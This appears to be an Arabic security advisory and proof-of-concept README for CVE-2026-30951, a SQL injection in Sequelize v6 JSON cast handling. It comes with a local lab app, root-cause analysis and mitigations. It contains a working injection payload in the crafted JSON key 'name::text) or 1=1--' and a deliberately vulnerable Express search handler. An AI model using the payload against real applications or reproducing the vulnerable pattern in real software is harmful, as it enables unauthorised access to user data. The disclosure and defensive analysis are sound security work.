العودة إلى التحديثات
UpdatedSep 2, 2026

CVE-2026-30951 — Updated!

حقن SQL عبر JSON Cast في Sequelize

مشاركة

CVE-2026-30951 حقن SQL عبر تحويل JSON في Sequelize

★ CVE-2026-30951 إثبات مفهوم حقن SQL في Sequelize ORM ★

https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381

نظرة عامة

CVE-2026-30951 هو ثغرة حقن SQL في Sequelize v6، وهو ORM شائع الاستخدام في Node.js.

توجد الثغرة في معالجة شرط where الخاص بـ JSON/JSONB. عندما يقوم Sequelize بتحليل مفتاح مسار JSON يحتوي على ::، تُعامَل القيمة التي تلي :: كنوع تحويل SQL وتُدرَج في استعلام SQL المُولَّد دون التحقق المناسب.

إذا تمكن المهاجم من التحكم في مفاتيح كائنات JSON التي تُمرَّر إلى شرط where في Sequelize، فيمكنه التلاعب باستعلام SQL المُولَّد.

الإصدارات المتأثرة

الفئةالإصدار
قابل للاستغلالSequelize v6.x <= 6.37.7
مُصحَّحSequelize 6.37.8
غير متأثرSequelize v7 / @sequelize/core

التأثير

  • حقن SQL من خلال مفاتيح كائنات JSON التي يتحكم بها المهاجم
  • تجاوز مرشح البحث عبر الحقن القائم على القيم المنطقية
  • التلاعب غير المقصود بشروط الاستعلام داخل SQL المُولَّد بواسطة ORM

البيئة

يحتوي هذا المستودع على تطبيق تحدٍّ بسيط قابل للاستغلال مبني على Node.js وExpress وSequelize وSQLite.

التشغيل المحلي

npm install
npm start

يبدأ التطبيق على:

http://127.0.0.1:9100

Docker

docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln

تبدأ حاوية Docker على:

http://127.0.0.1:9100

إثبات المفهوم

بعد تشغيل البيئة القابلة للاستغلال، اتبع الخطوات أدناه لإعادة إنتاج الحقن.

الخطوة 1. إرسال طلب بحث عادي

POST /api/users/search
Content-Type: application/json

{
  "filter": {
    "name": "emma"
  }
}

يُرجع هذا فقط المستخدمين المطابقين لمنطق البحث العادي بالاسم.

الخطوة 2. إطلاق حقن SQL قائم على القيم المنطقية

POST /api/users/search
Content-Type: application/json

{
  "filter": {
    "name::text) or 1=1--": "emma"
  }
}

النتيجة المتوقعة:

All user rows are returned.

الخطوة 3. تأكيد حدوث حقن SQL

يتسبب مفتاح JSON المُصمَّم في أن يُولِّد Sequelize تعبير تحويل مشابهًا لـ:

CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)

نظرًا لأن نوع التحويل يتحكم به المهاجم، فإن شرط OR 1=1 يغيّر السلوك المقصود لشرط WHERE. إن إرجاع جميع الصفوف من نفس نقطة نهاية البحث يؤكد إمكانية حقن SQL.

التحليل

السبب الجذري التقني

تنتج الثغرة عن التحقق غير الكافي من أنواع تحويل JSON في Sequelize v6.

داخليًا، يقوم منطق اجتياز JSON في Sequelize بتقسيم مفاتيح مسار JSON على :::

jsonKey::castType

ثم يُستخدم نوع التحويل في SQL المُولَّد مثل:

CAST(<json_extract_expression> AS <cast_type>)

في الإصدارات القابلة للاستغلال، لا يتم تهريب <cast_type> بشكل آمن أو تقييده بقائمة سماح معروفة الآمان. وهذا يسمح لمفتاح JSON يتحكم به المهاجم بالخروج من تعبير التحويل وحقن SQL.

النمط الخطير

أي نمط تطبيق مشابه لما يلي قد يكون قابلًا للاستغلال عند استخدام إصدارات Sequelize المتأثرة:

app.post('/api/users/search', async (req, res) => {
  const users = await User.findAll({
    where: {
      metadata: req.body.filter
    }
  });

  res.json(users);
});

هذا خطير لأن المهاجم لا يتحكم فقط في قيم JSON، بل أيضًا في مفاتيح كائنات JSON.

لماذا هذا مهم

تُعد هذه الثغرة خطيرة بشكل خاص لأن العديد من المطورين يفترضون أن بُناة استعلامات ORM تحمي تلقائيًا من حقن SQL. في هذه الحالة، يحدث الحقن داخل SQL المُولَّد بواسطة ORM، بعد أن يكون التطبيق قد مرَّر بالفعل كائنات JavaScript مُهيكلة إلى Sequelize.

اعتمادًا على منطق التطبيق، قد يسمح الاستغلال بما يلي:

  • تجاوز مرشحات البحث المقصودة
  • تعديل شروط الاستعلام المنطقية
  • تغيير سلوك SQL المُولَّد بواسطة ORM

هذه في جوهرها مشكلة CWE-89: التحويل غير السليم للعناصر الخاصة المستخدمة في أمر SQL.

السيناريو

+-------------------------------------------+
|                  Attacker                 |
+-------------------------------------------+
                      |
                      | Sends crafted JSON filter
                      | with malicious name:: key
                      v
+-------------------------------------------+
|        POST /api/users/search             |
+-------------------------------------------+
                      |
                      | Sequelize JSON where clause
                      | processes key containing ::
                      v
+-------------------------------------------+
|     Unescaped SQL cast type injection     |
+-------------------------------------------+
                      |
                      | Boolean condition manipulation
                      v
+-------------------------------------------+
|          SQL Injection Confirmed          |
+-------------------------------------------+

التخفيف

  • قم بترقية Sequelize إلى 6.37.8 أو أحدث
  • لا تُمرِّر كائنات يتحكم بها المستخدم مباشرةً إلى شروط where الخاصة بـ JSON/JSONB في Sequelize
  • ارفض أو طبِّع مفاتيح JSON التي يتحكم بها المستخدم قبل بناء مرشحات ORM
  • استخدم بناء المرشحات القائم على القائمة البيضاء بدلًا من قبول كائنات جسم الطلب العشوائية
  • ارفض مفاتيح JSON التي تحتوي على صيغة تحكم SQL أو فواصل التحويل مثل :: إلا إذا كانت مطلوبة صراحةً
  • فضِّل حقول الاستعلام المُعرَّفة من الخادم، على سبيل المثال:
const allowedFilters = ['name', 'role', 'team', 'office', 'department'];

if (!allowedFilters.includes(req.body.field)) {
  throw new Error('Invalid filter field');
}

إخلاء المسؤولية

هذا المستودع مخصص لأبحاث الأمن، والتحقق الدفاعي، والاستخدام التعليمي في بيئات مُتحكَّم بها فقط.

لا تستخدم إثبات المفهوم هذا ضد أنظمة لا تملكها أو لا تملك إذنًا صريحًا باختبارها.

رؤى EQST

ننشر تحليلًا لثغرات CVE والبرمجيات الخبيثة مرة واحدة شهريًا. إذا كنت مهتمًا، يُرجى متابعة الروابط أدناه للاطلاع على منشوراتنا.

المراجع

الفئات